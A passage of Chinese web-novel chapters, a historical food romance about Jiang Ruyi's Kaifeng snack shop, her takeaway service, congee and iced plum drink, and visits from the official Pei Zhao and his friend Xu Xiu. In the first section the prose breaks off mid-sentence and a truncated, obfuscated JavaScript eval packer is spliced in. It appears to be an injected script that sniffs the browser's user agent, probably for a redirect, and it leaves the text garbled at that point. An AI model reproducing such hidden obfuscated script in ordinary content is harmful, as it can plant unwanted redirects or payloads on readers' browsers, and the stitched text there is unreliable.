若是能吃辣的，还可以请开铺面的小娘子，额外浇上一勺辣子。那拌好的豆芽瞧上去红汪汪的，吃上一口味道香辣，脆爽又下饭，这不比清淡的斋菜过瘾？ 于是，连着好几日里，姜如意发现来铺面里吃饭的客人，数量比先前足足翻了一倍。 而且这些客人中，要么点上一份凉皮，要么点上一份凉拌豆芽配着糯米烧卖。 除此之外，点菜的时候，还都要好奇的问上一句，小娘子以前可是在州桥夜市上摆摊？ 等姜如意点点头说“是”，那些客人皆从菜牌上收回视线，仔细朝她看一眼，然后赞一句小娘子蕙质兰心。 这两日，姜如意每每听到这些称赞，都不禁疑惑的眨眨眼。 自己一个开铺面卖吃食的孤女，怎么还跟心性品德扯上关系了？ 因着心里实在纳闷，所以今日，当眼前这位客人照例问起的时候，姜如意干脆问出了心中疑惑。 眼前这位客人约莫二十岁上下，一身绛紫色圆领袍，袍上绣着祥云纹样，瞧着很是风雅。 他看一眼墙上挂着的那做工精细的菜牌，听到姜如意的问题，先是惊讶，紧接着便笑了起来。 他原先一副俊秀风雅的模样，此时笑起来，气质中却带了几分痞帅。 他说道：“原来小娘子还不知道缘由？” 见姜如意果然是一副疑惑的模样，他便把大相国寺里斋堂僧人的话，仔细复述给她听。 姜如意这才知道，竟然还有这样一层原因，心里颇有些哭笑不得。 她面上却不显，只微笑着点点头，然后就耐心给这位客人介绍起菜牌上的吃食。 自那日王工匠离开后，姜如意便和阿芍一起，将旁边空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜如意在厨房里面，听着外面热火朝天的讨论声，手上拌凉皮的动作停顿了一下。 她倒是没想到，对于后世而言再普通不过的豆芽，如今竟能引起这么热烈的讨论。 那不如，趁这机会再推出一波黄豆芽吧？ 将烧的热热的锅里倒入凉油，搁上黄豆芽和豚肉同炒。等将两者炒至六七分熟，再加泡软后的粉条，被汤汁一浸…… 肉香味和豆芽鲜味融合在一起，又被粉条吸足了味道，配上一碗热腾腾的稻米饭，相当的下饭。 姜如意嘴角弯起个弧度，一边从脑子里胡乱想着，一边低头拌碗里的凉皮。 这段时间里，因着被豆芽引来的客人，姜如意多赚了不少银钱。 毕竟来吃豆芽的客人，总不能只点一样菜。少不得要配上笼烧卖或者水晶饺子，饮子价格不贵，也点上一杯慢慢喝着。 只不过客人多了，姜如意也遇到个新问题。 23. 打包外带、凉拌鸡丝 因着铺面中地方小，实在坐不下这么多客人，平时白日里倒还好，挤挤也就坐下了，等到晚间用晡食的时候，位子实在是不够坐。 思索过几日之后，姜如意将自己的想法说给阿芍听。 “小娘子打算推出打包外带服务？” 凉棚底下，阿芍从小菜圃中抬起头来，好奇的朝姜如意看过去。 自从夏至之后，天气变得越发炎热起来，小菜圃子里种的这些青菜，也被烈日晒的有些发蔫。 所以趁着早晨有时间，姜如意和阿芍、静宛一起，在小菜圃上搭起来个小棚子，既能通风遮阳，又能将桌椅抬到棚子下面，方便又凉快。 这几日的朝食，姜如意都是让阿芍端到凉棚下面吃的，迎着徐徐的凉风，用筷子夹着清凉的小菜，或端着杯饮子小口慢慢喝着，颇有几分惬意的感觉。 这会儿，面前的圆桌子上，摆着两笼糯米烧卖，两碗熬的香浓的红豆粥，并一碟搁了辣子的凉拌鸡丝。 这鸡丝用的部位是鸡胸肉，先将肉下锅煮熟，在冷水里浸凉之后，捞出来控干水分，然后用手撕成条状。 撕的时候，顺着鸡肉的纹理越细越好，等将这撕成细条的鸡丝里，加上胡瓜丝和萝卜丝，然后再加上调料，找个大碗搅拌均匀。 用筷子夹起一口，清凉的鸡丝夹着胡瓜丝，吃起来香辣鲜美，很适合朝食的时候佐粥吃。 姜如意喝了一口红豆粥，用筷子夹起个烧卖，对着阿芍点了点头：“没错。” 在本朝，外卖已经发展的十分成熟，凡是大些的酒楼中，皆有腰间系着大围裙，专门送外卖的伙计。 不过如今铺面里只有自己和阿芍两人，人手不足，送外卖是不可能了。 但是她们不能外送，却可以让客人打包回去不是？ 姜如意继续说道：“若是吃饭的客人太多，不愿浪费时间等位的客人，可以将点的吃食带回去吃。若是客人本就打算带回家吃，那便更好了，这样一来既能空出座位，二来也能按照客人的需求选择。” 阿芍正从厨房里洗干净手，走到圆桌旁边坐下，听了姜如意的话，连连点头。 “小娘子这个主意好，若换作我是客人，肯定也愿意的。” 姜如意见阿芍也觉得想法可行，点点头，接下来几日，她又思索了一番具体细节，然后便这么决定下来。 …… 这一日，来买吃食的客人，便发现铺面里多出了张长条桌子。 那长条桌挨着柜台放着，中间空出来一块，并不耽误通行。 长桌一侧摆着个三层小架子，每一层都摆着给客人展示用的菜品，而长条桌上，则整整齐齐摆了一排小食盒。 当有客人好奇的问起那食盒，眼前的小娘子，就笑眯眯的向客人们解释。 “自今日起，本店提供打包外带服务。客人若是不想在这里吃，可以点了菜打包带回去，食盒却要收些押金。若是客人自己带食盒，便不额外收费。” 姜如意说完了这话，又语气歉意的解释：“客人们也看见了，如今铺面里的地方太小，忙起来的时候，实在顾不过来，到时候恐怠慢了客人们，反倒是不好了。” 食客们听着姜如意话说的诚恳，纷纷点头：“姜小娘子考虑的周到，打包外带回去当真不错。” “太好了，前几日我便觉得等位子实在麻烦，又对姜小娘子做的吃食想念的紧，如今可以打包，可不就省去了等待的时间？” 姜如意见客人们接受的极快，松了一口气，笑着点头说可不正是如此？ 她又笑道：“多谢客人们体谅，今明两日，凡是打包外带的客人，皆送一份凉拌小菜。若是自己带食盒来，所点的吃食还可以打九折。” 食客们一听打包竟然还能打折，纷纷点头，有离着家近的，见这会儿客人多，当即回去拿了家里的食盒带过来：“姜小娘子，要一份凉皮，一份水晶饺子带走。” 姜如意看着那去而复返的客人，连忙应了一声，动作利落的将客人点的吃食装进食盒里，又送了一碟凉拌鸡丝，笑着说一句客人慢走。 那些新进店的客人见状，皆指了指那拎着食盒离开的客人，好奇的询问缘故。 姜如意少不得也笑着解释一遍。 听完姜如意说可以打包的话，正在排队的客人也朝长桌上看一眼，当即就有几位走到长桌前面，点了吃食打包外带回去。 这一日下来，姜如意和阿芍皆忙得脚不沾地，主要是每次有新来的客人，都要向对方宣传一波打包外带的事宜。 不过这一日忙活下来，效果也极为明显。有了打包分流的客人，铺面里终于不再挤的满满当当的，阿芍收拾桌子也更顺当。 而且姜如意还意外的发现，竟然有客人趁不忙的时候前来，先点上一份凉皮或者馄饨吃着，等到吃完临走前，再外带一份回家吃。 长桌前的这位客人，正笑着向姜如意说道：“家中老人，平日里也爱吃姜小娘子做的水晶饺子，只是年纪大了腿脚不便，偶尔才能来一次。如今有了这打包外带服务，某便可以时常买了带回去。” 姜如意听着客人的话，十分意外的眨眨眼睛，没想到竟然还有这样一层缘由。 她请客人稍等，转身进了厨房里，嘱咐阿芍将凉拌鸡丝里的辣子，换成芝麻酱的。 等将那碟麻酱鸡丝装进食盒中，姜如意拎着食盒出来，笑着给客人递过去：“这样说来，当真是极方便的，况这铺面在城中，欢迎客人常来。” 那客人乐呵呵的点点头，道一声“日后一定常来”，然后就付过银钱，接过那食盒转身离开。 除了专门打包带回去给家人的，也有白天提前买了，带回去当晡食吃的。 比如眼前这位熟客，一张国字脸，说话的嗓门洪亮，正是开封府的衙役张易。 前段时间，因着姜如意没去州桥夜市上摆摊，开封府众人都以为姜小娘子改换了其它营生，不禁发出一阵痛苦的哀嚎。 后来不知是谁先发现，距离开封府衙门北边不远，新开了家卖吃食的铺面。等好奇进来一看，竟然是从前在夜市上摆摊的姜小娘子。 那衙役连忙兴奋的跑回去，将这发现给同僚们说了。 开封府的一众衙役们听说此事，都坐不住了，想着从前姜小娘子做的那三鲜小馄饨，纷纷嘴馋的跑过来买吃食。 等进来才发现，如今这铺面里，不但卖三鲜小馄饨，竟然还有凉皮、糯米烧卖和水晶饺子，从名字到模样，从前别说吃过了，连听都没听说过。 众衙役们兴奋之余，拿手擦擦嘴角激动的泪水，然后就纷纷加入了买吃食的行列。 这会儿趁着客人不多，张易指着那糯米烧卖说道：“姜小娘子，要三笼糯米烧卖，两笼菘菜馅的水晶饺子，另外再要十块五香豆腐干，一大桶绿豆汤，待会儿我一并带走。” 说完之后，紧接着又叹一口气：“可惜那凉皮要拌做现吃，要不然这样的热天里，吃上一碗清爽的凉皮，实在是过瘾极了。” 姜如意一边将糯米烧卖装进大食盒里，一边笑笑朝张易说道：“客人想吃凉皮，倒也不是没有办法。” 见张易睁大了眼睛看过来，姜如意指指身后的厨房：“虽然凉皮需要现拌现吃，但食材可以提前盛好，再用个小罐子单独盛放酱料。等客人吃之前，将酱料倒进碗里，自己用筷子拌匀了，虽然口感上差些，但估摸着差不了太多。” 张易听姜如意说的有道理，连连点头，当即又要了五碗凉皮。 姜如意笑着应下，转身进了厨房里，拿刀切凉皮。 阿芍扭头朝外面看了一眼，朝着姜如意咋舌：“小娘子，他们莫不是把咱们的铺子，当成开封府的公厨了吧？” 姜如意听着阿芍的话，笑着抿抿嘴，对此倒是不怎么在意。反正都是打包外带，一个人是买，好几个人也是买不是？ 姜如意伸手从旁边的架子上取了个小瓷罐子，将调配好的酱料装进罐子里，思量着吃的人多，又往里多倒了些。 她将盖子扣紧，和那五份凉皮放在一起，用个托盘端着走了出去。 开封府里。 裴昭刚踏入衙门后院，就闻到空气中飘来一股陌生的辛辣味，那味道初闻不觉得怎样，等再往前走了几步，一股浓烈的辛香味直冲鼻子。 裴昭稍微抬起头来，听着里头衙役们兴高采烈的声音，脚下步子略微停顿了一下。王属官连忙快走了几步，朝里面轻咳了一声。 张易几个原本正坐在一起，高兴的吃着凉皮。姜小娘子说的果然没错，这酱料单独盛在小罐子里，只需要吃的时候倒出来拌了，滋味跟在铺面里吃的差不多。 那蒜香混合着浓郁的芝麻酱，再多多加些辣子，吃一大口爽辣过瘾，根本停不下来。 衙役们吃的太过投入，此时听到外面王属官的轻咳声，才察觉到裴少尹来了。张易几个连忙擦一擦嘴，从里面走了出来。 想着方才吃的太过投入，几人表情都有些讪讪的，揉着鼻子叫一声“裴少尹”。 裴昭朝众人略微颔首，淡淡的提醒一句，这吃食的味道冲鼻，下回还是挪去公厨里吃。 张易几人连忙恭敬的答应了。 裴昭点点头，视线扫过面前开着的窗户。 因着实在太热，屋里的窗户皆打开着，能看清楚里面的情景。 桌子上面摆着不少吃食，瞧着应该是蒸的笼饼之类的，样子却有些不同。 另外还有几碗长条状的吃食，瞧着倒像是馎饦，但里面绿的、黄的各种食材拌在一起，用料十分丰富，刚才那味道就是从这碗里散发出来的。 王属官也显然也看见了桌上的吃食，他好奇的问道：“今日公厨里，上了新吃食吗？” 张易听到上峰问起，连忙摇摇头：“却不是公厨里做的，而是白日里换岗的时候，顺路从外面买回来的。” 王属官听了便有些意外，什么样的吃食，竟 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徐修抿了一小口酒水，又满脸惋惜的摇摇头：“可惜今日只有酒，却没有适合下酒的小菜，算是美中不足。” 裴昭淡淡的看他一眼，视线所到之处，他那绛紫色绣着祥云滚边的衣袖旁边，分明摆着几碟小菜，并几碟干果。 徐修显然也注意到了裴昭的目光，不过却不在乎的摇摇头，一副装作没看见的样子。 裴昭微将那空酒盏放下，微皱一下眉头开口：“若是嫌某这里的吃食不合胃口，尽可以去城中酒楼里喝个痛快。” 徐修同裴昭是多年好友，早就习惯了他平日里一副冷脸的样子，听了也不生气，只从嘴里发出啧啧两声。 “那些酒楼里的菜都吃腻了，一点新意都没有。” 他说着，又凑近了一些，故作神秘的朝裴昭说道：“倒是离你家不远处，有家叫姜记的小铺面，做极好的糯米烧卖和水晶饺子。尤其是那水晶饺子，也不知是怎么做的，皮子极薄不说，模样当真如水晶似的，能透出里面的馅料来。” 裴昭两日内听到两次姜记，看着面前这位好友，不由再次挑眉。 他倒是没想到，才短短月余，那从大相国寺外卖薄脆胡饼的女郎，便租下了一间铺面。而且看样子，所卖吃食竟还很受欢迎。 徐修瞧着裴昭的表情，似乎发现了什么，有些惊讶的眨眨眼。 他从栏杆中一下子直起身子：“裴从谦，莫非你也去过那家铺面吃饭？” 难怪他如此惊讶，裴昭素不喜欢热闹，从跟裴昭相识以来，自己见他出门吃饭的次数屈指可数。 现如今，他竟然会知道一间小小的铺面，可不是太阳打西边出来了？ 裴昭收回思绪，摇摇头：“倒还未曾去过。”这也不算是说谎。 徐修看一眼好友，十分怀疑的皱了皱眉头。 看他的模样，分明知道那姜记，多半还吃过姜小娘子做的吃食。 不过一时之间，又问不出更多的话，徐修这样想着，看着眼前神色恢复了淡定的好友，心里面好奇的似有猫爪挠一样。 与此同时，小铺面里，姜如意正带着阿芍一起，清点桌上的食盒。 自从推出打包外带服务之后，每日卖出去的吃食，果然比原来多了不少，客人们即使等不到座位，也能将吃食打包带回去吃，避免了许多潜在的冲突。 只不过这办法虽然好，也随之而来了新问题。 客人每日带走的食盒数量皆不固定，所以每隔两三日，姜如意便要清点一遍食盒数量，将没有还回来的一一记录下来。 等清点完了食盒，姜如意将手中的笔搁下，用手指捏了捏发僵的后颈。 阿芍靠在长条桌旁，叹了一口气说道：“小娘子，要是咱们也开食店就好了，到时候地方宽敞不说，来吃饭的客人都能坐的下，打包外带的人也会少些。” 姜如意听着阿芍的话，知她指的是隔壁那间卖石髓羹、白肉胡饼的食店，不由笑着瞪她一眼，又忍不住踮起脚朝隔壁看看。 要说起来，这清月楼旧楼的位置确实是好。即使二楼被当成仓库，只留下一楼出租，自己这间铺面和隔壁的食店，生意也相当红火。 相比起来，隔壁食店的面积要大上许多。两间店中间隔了一条走廊，以前应该是互通的。只不过如今，两间店都各自在前面另开了门，中间的走廊反倒是闲置了，平时用来堆放些不用的杂物。 姜如意曾经好奇看过那走廊，发现走廊面积竟十分宽敞，能横着摆开两张桌子。若是将来和自己这间铺面打通了，说不定还真够开食店的。 姜如意胡思乱想着，想到高兴的地方，自己先抿嘴笑了起来。 她看一眼柜台上记录食盒的账册，甩甩头，收起了胡思乱想。 想着自己在厨房里煨的粥好了，她将账册合上，打算喊阿芍吃饭。 一抬头，就见门外恰好来了客人。 24. 养眼、干贝鸡丝粥 如今这个时间已经过了饭点，所以铺子里一位客人都没有，也正因为如此，姜如意才得空和阿芍一起清点食盒。 此时见到有客人进门，姜如意不免疑惑的朝二人看去。 等看清楚来人之后，姜如意反倒更惊讶了。 说起来，来的这两位客人自己还都认识。左边那位一身绛紫色圆领袍子的，正是前几天来吃水晶饺子的风雅郎君。 至于右边那位，一袭湖蓝色交领长衫，一双桃花眼，瞳孔清冷而深邃，不是那位裴少尹是谁？ 倒是没想到，这两位竟然认识，而且看神态举止，似乎还是不错的朋友。 姜如意这样想着，忍不住朝二人身上打量几眼。 这两位所穿的衣衫一深一浅，气质也截然不同。一眼看过去，一位风雅俊秀，另一位则清冷威严，这样并肩走进来，倒是极为养眼。 姜如意很没节操的多看了两眼，面上却仍是一副笑眯眯的模样。 等二人进门之后，徐修很自来熟的朝姜如意打招呼：“姜小娘子，今日又来你这里吃饭了。” 姜如意含笑点点头：“欢迎郎君，郎君今日也是点那水晶饺子吗？” 徐修连忙点点头，说今日有人请客，每种口味的水晶饺子都来一份，再要一碗凉皮，一份凉拌鸡丝，说着朝她挤挤眼睛。 姜如意都笑着记了下来，等他说完之后，又转头看向自进门后就沉默不语的裴昭。 “裴少尹要吃什么？” “咦？”徐修转头看看身边的好友，意外的挑一下眉头。 先前的时候，裴从谦不是还说自己没来过这姜记吗，怎得如今，姜小娘子一下子就叫出了他身份？ 徐修用胳膊肘碰了碰好友，眼睛里透出几丝玩味神色。 裴昭淡淡的看好友一眼，将手臂移开些，朝姜如意看过去。 姜如意已经熟练的向他推荐道：“本店这段时日里新推出了凉皮，吃起来酸辣爽口，夏日里卖的极好，裴少尹要不要尝尝？” 裴昭摇了摇头，淡淡说道：“不必了，还是之前那三鲜小馄饨吧。” 姜如意“哦”了一声，她抬头看一眼窗外毒辣的日头，将目光收回来，朝这位裴少尹身上看了一眼。 这么热的天气，竟然还吃三鲜小馄饨，这位裴少尹果然跟他看起来一样，从里到外都冷飕飕的。 姜如意从心里腹诽一句，脸上露出个笑容来：“二位郎君请坐，吃食一会儿就好。” 说完，她转身进了厨房。 等两人坐下之后，徐修笑容揶揄的看好友一眼，嘴里面发出啧啧声。 “先前不是说没来过这姜记吃饭？方才我瞧着，你倒是对这里卖的吃食很是熟悉。” 裴昭淡淡的“嗯”了一声，视线扫过柜台旁边的长条桌和墙上挂的菜牌。 那菜牌每块不过巴掌大小，一块块挂在墙上，模样十分精巧，倒是跟她往日的风格一致。 再看菜品展示架上，那些模样新奇的吃食，跟昨日在衙门中所见相同，那模样看着像馎饦的，多半就是她方才提到的凉皮了。 裴昭微眯一下眼睛，然后又看旁边打开的窗户，以及窗上挂着的那精致小帘子。 这样的环境，再加上铺面里十分安静，侧面有帘子可以放下来，半遮蔽住外面的街道，果真是个适合吃饭的地方。 裴昭唇角似朝上弯起一些，无声将视线收回来。 徐修却在一旁好奇的问：“嗯是什么意思？” 裴昭看他一眼，简单的解释：“从前偶然一次路过州桥夜市，吃过这女摊主卖的三鲜小馄饨，倒不曾想，短短月余工夫，竟就开了这样一间小铺面。” 裴昭这话说的简略，让人挑不出半点漏洞来，徐修也只能点了点头，收回满腹的好奇。 两人正说着话，就见姜如意从厨房里端着个大托盘，快步走了出来。 大托盘上，摆了满满当当的吃食。水晶饺子、凉皮和凉拌鸡丝都是提前预备好的，做起来十分快捷，馄饨倒是需要现包现煮，不过炉灶上一直烧着热水，所以煮起来也很快。 姜如意将那三笼水晶饺子摆在桌上，又端了凉皮和三鲜小馄饨，分别摆在二人面前，最后放下那盘凉拌鸡丝。 她笑着说了句：“两位客人慢用。” 裴昭略一点头：“多谢。” 姜如意抿嘴笑笑，又补充一句，说客人若是需要什么就叫她。 裴昭和徐修皆点点头说好。 姜如意将那大托盘拎在手里，想着反正只有这一桌客人，索性就转身回了厨房，和阿芍一起吃饭。 灶台上，姜如意煮的干贝鸡丝粥，已经煨够了火候，此时早就熄了火放着，一股香味顺着锅盖冒出来。 等将砂锅的盖子掀开，里面那股浓郁的鲜香，瞬间弥漫在整个厨房。 姜如意先看一眼锅里熬的粘稠的米粥，又加了些姜末和胡椒进去，拿大勺子搅了搅，这样一锅香浓咸鲜的鸡丝粥就出锅了。 阿芍迫不及待的端着空碗过来，她先用鼻子凑近闻了闻，直呼实在是太香了。 姜如意闻言笑笑，能不香吗？ 这一锅粥里看着清淡，里面却加了干贝、鸡丝和香蕈，况因着是自己吃的，所以用料十分足，尝一口都能鲜掉眉毛。 干贝也就是风干的扇贝柱，下锅之前用刀背稍稍将干贝压开些，里面的味道更容易出来，再稍微用油煸炒一下，让鲜味更浓郁。 将这炒过的干贝和粥同煮，里面再加上香蕈和鸡丝，煮开之后用小火煨着，直到米粒皆煮的开了花。 这会儿各种食材的味道都渗进了米粒里面，又稍微放凉，正是适合入口的时候。 姜如意给自己和阿芍一人盛了一碗干贝鸡丝粥，又从笼屉里拿了一笼糯米烧卖。 她用勺子搅了搅熬的粘稠的粥，放在嘴边喝了一口，那鲜香滋味瞬间弥漫进了口腔，姜如意舒坦的呼出一口气。 这一勺粥入口，里面干贝咬起来带了些韧劲，鸡肉却鲜美滑嫩，整碗粥滋味浓郁爽滑。怪不得有人说干贝此物“食后三日，犹觉鸡虾乏味”了。 阿芍喝着粥感叹道：“小娘子，这粥真好喝。” 姜如意朝她笑笑：“喜欢就多喝两碗。” 阿芍连连点头：“哎。” 姜如意和阿芍一人捧着一碗粥慢慢吃着，还没等吃完，就听厨房外面传来结账的声音。 姜如意应了一声，连忙放下碗筷站起身，朝外面走去。 柜台前面，徐修也闻到了厨房里的香气，他鼻子动了动，好奇的越过柜台朝厨房里面张望。 “姜小娘子这是在吃什么，闻着如此香？” 姜如意笑笑，朝他回答道：“是早上新熬的干贝鸡丝粥，这会儿却放凉了些，正好配着糯米烧卖吃。” 徐修一听到用干贝熬粥，忍不住咽咽口水，原来是海货，难怪闻起来这样香。 他扭头朝裴昭看看：“裴从谦，你吃饱了没有，不如咱们再点上两碗粥尝尝？” 裴昭淡淡的扫他一眼，挑一下眉：“你还能吃得下？” 方才那三笼水晶饺子，裴昭只略尝了几个，其余皆进了徐修的肚子，再加上那一大碗凉皮，他着实吃了不少。 况且，裴昭看一眼墙上挂的那菜牌，上面分明没有这道粥，想来是人家熬来自己喝的。 徐修也意识到自己吃的太多了，他用手摸摸肚子，只好忍痛放弃。 姜如意连忙笑笑，说徐郎君喜欢那些吃食就好。 裴昭看一眼表情懊恼的好友，伸手向姜如意递过银钱。 “多谢裴少尹。” 姜如意点点头接了过来，将银钱收好，又笑着说一声“客人慢走，欢迎再来光顾”。 裴昭听着那愉快的语调，抬头朝她看了一眼。 就见柜台后面，姜如意突然间弯起一双眼睛来，朝他笑着点了一下头。 裴昭脚步稍顿，片刻之后，唇角也微微弯起一抹弧度。 街道上，直到出了姜记的门，徐修仍然一步三回头，一副舍不得那碗干贝鸡丝粥的模样。 “你说我刚才怎么就吃了那么多，没留点肚子，再喝一碗粥呢？” 裴昭听着徐修嘴里的念叨，有些无奈的看他一眼：“你这几日，不是还要去各家拜访长辈？” 徐修噎了一下，低头看一眼自己的腰身。 裴从谦说的对，若是吃胖了，到时候去拜访长辈实在不像样子。 徐修停了滔滔不绝的念叨声，重新抬起头来，面容微微含笑，又恢复成往日那风雅郎君的模样。 恰好有经过的小娘子，红着脸往这边偷瞧两眼。 裴昭见他终于消停下来，伸手揉一揉发胀的耳根，他忽略掉四周那几道偷瞧的视线，转身掀帘上了马车。 …… 自从入伏之后，烈日灼烤着大地，原本还算凉快的清晨和傍晚，都随之变得炎热起来。 因着天气实在太热，来姜记吃凉皮的客人越来越多，糯米烧卖和水晶饺子倒是卖的少了，凉拌鸡丝和各种做法的豆芽，却变得越发受欢迎起来。 这段时间里，姜如意继绿豆芽之后，又新推出了黄豆芽和黑豆芽，反响十分不错。 尤其是黄豆芽，里面加了豚肉和粉条同炒，但凡来吃饭的客人，都要点上一份，一边大口嚼着，一边不住的点头。 “姜小娘子这黄豆芽炒的实在好吃，大相国寺里虽说也有，但素炒的总不如这加了豚肉的嚼着香。” 旁边另一位客人也点点头：“可不是吗？我从前吃那绿豆芽，已经觉得脆爽可口。如今再吃这黄豆芽，竟比绿豆芽的滋味更好，尤其是里面加的粉条，吸足了汤汁，实在是越嚼越香。” 姜如意听着客人们的夸奖，忍不住眨眨眼睛，心想自己是不是应该早些推出黄豆芽的。 她笑眯眯的道一声谢，然后收起端菜的大托盘，转身回了厨房里。 一进入厨房，姜如意立马感觉一股热浪自里面袭来，虽然少了各种蒸笼做的吃食，但厨房里仍是热。 她连忙将托盘放下，看一眼用袖子擦汗的阿芍，拉着她一起出去。 等站在窗边吹了会儿凉风，两人才凉快下 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乌梅渴水也称乌梅饮，做法倒是不难。按照本朝的做法，挑选个头大的乌梅，去核捣烂出汁，里面再加各种中草药和香料，一起下锅熬成膏状。 喝的时候同紫苏饮子一样，加水加蜜调开，十分方便。 姜如意熬了一锅尝过，觉得味道上有些酸，另着中草药的味道颇重，有点喧宾夺主的意思。 她想了想，又按照现代的方法，将中草药斟酌着去掉大半，另加了甘草、山楂、陈皮和薄荷，又多加了些冰糖。等熬好放凉之后，先给阿芍盛了一杯。 阿芍接过那乌梅饮，只喝了一口就连连点头：“好喝，这回熬的比刚才那锅好喝多了。” 姜如意听她这样说，自己也倒了一杯，喝上一口尝尝。 嗯，这乌梅饮酸甜适口，清爽解腻，滋味果然比原先的方法好上不少。 姜如意又将买来的桂花用蜜渍了，装在一个小瓷罐子里，然后开始上锅蒸酥酪。 酥酪是用牛乳和醪糟混合，里面加了糖，先上锅蒸制。等蒸好凝固了之后，将这酥酪用冰镇过，或者干脆在里面加上凿好的冰碎，最后在上面浇一勺琥珀色的桂花蜜。 这样一碗桂花冰酥酪，吃起来既有牛乳的香浓，又有醪糟的醇厚，还有桂花蜜的清甜。冰冰凉凉的吃上一口，只觉得神清气爽，浑身燥热都消散无踪。 姜如意守在灶台前，看着锅中升腾的热气，又惋惜的叹一口气。只可惜如今自己这里没有冰，实在是有点美中不足。 相比于前朝，本朝用的起冰的人数大大增加，不仅富贵人家多修建有冰窖，普通百姓若是想吃冰，也可以上街去买，而且价格不贵，只需五文钱一碗。 姜如意扭头看了一眼窗外，脑中突然升起了一个想法。 虽然她这个里没有冰，但是清月楼有啊，而且距离这么近，可不正是买冰的好选择？ 姜如意连忙让阿芍看着炉灶，嘱咐她说自己要去清月楼一趟。然后就盛了一罐乌梅饮，拎在手里，匆匆朝厨房外走去。 …… 清月楼的管事，看着面前眉眼含笑的小娘子，连忙客气的请她入座。 不等姜如意开口，管事当先笑着说道：“姜小娘子实在是好厨艺，自从那铺面被小娘子租下之后，眼看一日比一日红火。” 姜如意闻言谦虚的笑笑，先谢过管事的夸奖，说实在是因着铺面地段好位置好，自己生意才做的红火。 她指一指手中那罐子，朝着管事说道：“今日趁着铺面里不忙，所以熬了这乌梅饮，这几日天气实在是暑热，特意取了一些来，送给管事尝尝。” 管事听说是新熬的乌梅饮，不由得好奇低下头去看。 只见那小小一只白瓷罐子，入手竟然颇有份量，显然盛了不少乌梅饮。 里头的饮子色泽光亮，呈现出漂亮的深紫色，随着罐子晃动，里面澄澈的液体随之摇晃着，散发出一股酸甜的乌梅香气。 管事连忙让伙计取了杯子来，倒出一杯好奇的看看，果然见液体光泽澄澈。 他试着喝上一口，然后不由自主的称赞道：“姜小娘子熬的这乌梅饮，滋味酸甜可口，喝着竟比清月楼后厨熬的还好喝。” 姜如意笑眯眯的谢过管事夸奖，又谦虚自己小铺子里熬的，不敢同大酒楼比，然后就向他说明自己今日的来意。 姜如意说道：“如今天气暑热，小铺面里想卖些冰饮，所以想来问问管事，能否将清月楼储存的冰卖给我一些？” 管事听姜如意是为了买冰来的，十分和气的笑笑。 这倒算不得什么大事，连主家那里都不必通报，他便可以做主。 管事只想了一下，就很是痛快的点了点头：“若是只为了这件事来，姜小娘子放心，你若是需要冰，往后尽可以从酒楼中买。” 姜如意见事情谈成了，双眼一亮，连忙诚心诚意的谢过。 她又问道：“不知索价几何？” 25. 白瓷花盏、入伏冰饮 管事喝了一口乌梅饮，略微沉吟了一下，开口：“姜小娘子卖那冰饮，想必十分零散，每日需要冰的数量也不固定。依某看，便算作三百文一桶，等月底再一起结账如何？” 这便是额外帮忙的情分了。 姜如意连忙点点头说好，先谢过管事，又掏出提前准备好的银钱递过去。 她说道：“虽说可以月底一起结账，但也不好让管事白垫银钱。这些银钱还请收下，等月底了再一起算，想来也更方便些。” 管事倒是没想到，眼前这姜小娘子竟考虑的如此周到。 他抬目看了姜如意一眼，继而笑着称赞一句：“姜小娘子做事周全，如此，某便收下了。” 姜如意笑笑，又问管事，那冰能否现用现搬，要不然一下子搬好几桶回去，若是用不上，恐怕就化了。 这些都是举手之劳，管事想也没想就答应了。 等两人谈妥之后，管事伸手招来一个伙计，吩咐他去冰窖取一桶冰来，帮姜小娘子搬回去。 …… 这日，来姜记吃饭的客人们刚一进门，便感觉到一股清凉从里面扑面而来。 几名客人先互相对视一眼，然后就迫不及待的抬脚，朝铺面里走去。 只见小小一间铺面里，果然放了一只冰桶。 那桶盖稍微打开一些，虽然只有一小条细缝，但阵阵清凉正从里面散发出来，在这炎热的三伏天里，实在是种奢侈的享受。 客人们站在原地，深吸了两口气，感觉从外面带进来的暑热，都被这股凉意所驱散，心情也变得畅爽了起来。 几名客人挑了一处靠窗的座位坐下，见姜小娘子不在，估计正在厨房里忙活吃食，于是好奇向阿芍打听。 “铺子里如此凉快，是打算以后用冰桶降温吗？” 阿芍摇摇头：“却不是用来降温的，小娘子买这些冰回来，是打算推出冰饮呢。” 本朝储存冰的技术已经十分成熟，有专门负责采冰的“凌人”，冬天的时候，凌人们将开采出来的冰存于冰窖中，供夏天拿出来使用。 尽管如此，能在这样一间小小的铺面里用上冰，另外还有冰饮卖，实在是件再奢侈不过的事情了。 客人们听完阿芍的话，纷纷期待着感叹了两句，然后就老老实实的坐在桌子旁，伸长了脖子等着姜小娘子出来。 厨房里，姜如意最后检查了一下罐子里的乌梅饮，确认没有问题，她拎着那罐子朝厨房外走去。 一出了厨房，姜如意便发现外面鸦雀无声。 客人倒是坐了不少，皆是一副满脸期待的模样，一见到自己出来，视线齐刷刷的朝自己看过来。 姜如意愣了一下，眨眨眼睛问道：“客人们这是在做什么？” 一名眼尖的熟客，已经看见了姜如意手里拎的那罐子，大声问道：“姜小娘子，这就是今日要卖的冰饮吗？” 姜如意顺着他的视线低头朝手里看看，忍不住失笑。 怪不得客人今日连饭都不吃了，原来都是在等这冰饮。 看来，在这三伏天里面，加了冰的吃食，对客人来说简直是有致命的吸引力啊。 姜如意朝那客人笑笑，说道：“这里面是放凉的乌梅饮没错，却并没有用冰，待会儿客人要喝的时候，再往里面加上冰，能最大限度的保证口感。” 姜如意今早上仔细思量过，若是饮子里提前加上冰，等冰一化，恐怕味道上就不好了。 倒不如等客人买的时候再加，一来冰化的慢些，二来冰桶放在外面也凉快。 也正因为如此，她今日干脆将冰桶放在了菜品展示架下，冰桶紧挨着长条桌，这个地方又避光避风的，位置还显眼。 若是放在厨房里，等炉灶上的火苗一起，恐怕先热化了。 客人们听着姜如意话，纷纷点点头，称姜小娘子做事情当真细致。这样现喝现加冰，饮子的口感可不最原汁原味吗？ 姜如意笑眯眯的应和两句，同客人们说话的同时，和阿芍一起将那罐乌梅饮放在长条桌上。 